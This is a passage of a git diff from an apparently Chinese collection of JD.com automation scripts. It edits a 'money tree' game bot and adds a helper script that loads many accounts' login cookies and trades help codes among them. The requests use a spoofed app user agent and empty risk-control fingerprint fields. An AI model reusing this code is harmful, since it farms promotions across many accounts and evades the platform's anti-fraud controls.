错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', allMsg = ``; if ($.isNode()) { @@ -919,8 +36,8 @@ if ($.isNode()) { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } -let jdNotify = false;//是否开启静默运行,默认false开启 -let sellFruit = true;//是否卖出金果得到金币,默认'true'卖金果 +let jdNotify = true;//是否开启静默运行,默认true +let sellFruit = false;//是否卖出金果得到金币,默认'false' const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; !(async () => { @@ -969,9 +86,9 @@ async function jd_moneyTree() { const userRes = await user_info(); if (!userRes || !userRes.realName) return await signEveryDay(); - await dayWork(); + // await dayWork(); await harvest(); - await sell(); + // await sell(); await myWealth(); await stealFriendFruit() @@ -1030,7 +147,7 @@ function user_info() { console.log(`其他情况::${JSON.stringify(res)}`); } } else { - console.log(`京豆api返回数据为空,请检查自身原因`) + console.log(`京东api返回数据为空,请检查自身原因`) } } } catch (eor) { @@ -1553,7 +670,7 @@ async function friendRank() { data = JSON.parse(data); $.friendRankList = data.resultData.data; } else { - console.log(`京豆api返回数据为空,请检查自身原因`) + console.log(`京东api返回数据为空,请检查自身原因`) } } } catch (eor) { @@ -1602,7 +719,7 @@ async function friendTreeRoom(friendPin) { data = JSON.parse(data); $.friendTree = data.resultData.data; } else { - console.log(`京豆api返回数据为空,请检查自身原因`) + console.log(`京东api返回数据为空,请检查自身原因`) } } } catch (eor) { @@ -1651,7 +768,7 @@ async function stealFruit(friendPin, stoleId) { if (data) { data = JSON.parse(data); } else { - console.log(`京豆api返回数据为空,请检查自身原因`) + console.log(`京东api返回数据为空,请检查自身原因`) } } } catch (eor) { @@ -1677,7 +794,7 @@ async function request(function_id, body = {}) { if (data) { data = JSON.parse(data); } else { - console.log(`京豆api返回数据为空,请检查自身原因`) + console.log(`京东api返回数据为空,请检查自身原因`) } } } catch (eor) { @@ -1711,38 +828,41 @@ function taskurl(function_id, body) { function TotalBean() { return new Promise(async resolve => { const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") } } - $.get(options, (err, resp, data) => { + $.post(options, (err, resp, data) => { try { if (err) { - $.logErr(err) + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) } else { if (data) { data = JSON.parse(data); - if (data['retcode'] === "1001") { + if (data['retcode'] === 13) { $.isLogin = false; //cookie过期 - return; + return } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName } } else { - $.log('京东服务器返回空数据'); + console.log(`京东服务器返回空数据`) } } } catch (e) { - $.logErr(e) + $.logErr(e, resp) } finally { resolve(); } @@ -1750,7 +870,6 @@ function TotalBean() { }) } - function jsonParse(str) { if (typeof str == "string") { try { @@ -1763,4 +882,4 @@ function jsonParse(str) { } } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_moneyTree_help.js b/jd_moneyTree_help.js new file mode 100755 index 0000000..1d6f952 --- /dev/null +++ b/jd_moneyTree_help.js @@ -0,0 +1,331 @@ +/* +* +京东摇钱树助力 +活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) +脚本更新地址:https://github.com/zero205/JD_tencent_scf +助力逻辑:优先账号内互助,再给我助力 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#摇钱树助力 +30 * * * * https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_moneyTree_help.js, tag=摇钱树助力, enabled=true + +================Loon============== +[Script] +cron "30 * * * *" script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_moneyTree_help.js,tag=摇钱树助力 + +===============Surge================= +摇钱树助力 = type=cron,cronexp="30 * * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_moneyTree_help.js + +============小火箭========= +摇钱树助力 = type=cron,script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_moneyTree_help.js, cronexpr="30 * * * *", timeout=200, enable=true +* +*/ +const $ = new Env('京东摇钱树助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', sharePin = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, canRun = '', subTitle = ''; +$.shareCodes = [] +!(async () => { + await requireConfig() + await $.wait(1000); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + console.log(`\n****开始获取摇钱树互助码****\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await getsharePin(); + await $.wait(1000); + } + } + console.log(`\n******开始账号内互助******\n`); + for (let j = 0; j < cookiesArr.length; j++) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canRun = true; + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n自己账号内部循环互助\n`); + for (let item of $.shareCodes) { + console.log(`账号${$.UserName} 去助力 ${item}`) + await help(item) + await $.wait(2000) + if (!$.canRun) break + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.canRun = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + message = ''; + subTitle = ''; + await shareCodesFormat(); + await $.wait(1000); + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function helpFriends() { + try { + for (let code of $.newShareCodes) { + console.log(`去助力${code}`) + await help(code) + await $.wait(1000) + if (!$.canRun) { + break; + } + } + } catch (e) { + $.logErr(e) + } +} + +function getsharePin() { + const params = { "sharePin": "", "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + if (userInfo.realName) { + console.log(`【京东账号${$.index}(${$.UserName})的摇钱树好友互助码】${userInfo.sharePin}`); + $.shareCodes.push(userInfo.sharePin) + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function help(sharePin) { + const params = { "sharePin": sharePin, "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + if (userInfo.treeInfo.workerSum === 4) { + console.log(`助力失败,对方助力已满`); + } else { + console.log(`助力成功`); + } + if (userInfo.realName) { + } else { + $.canRun = false; + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'login' || function_id === 'signIndex' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 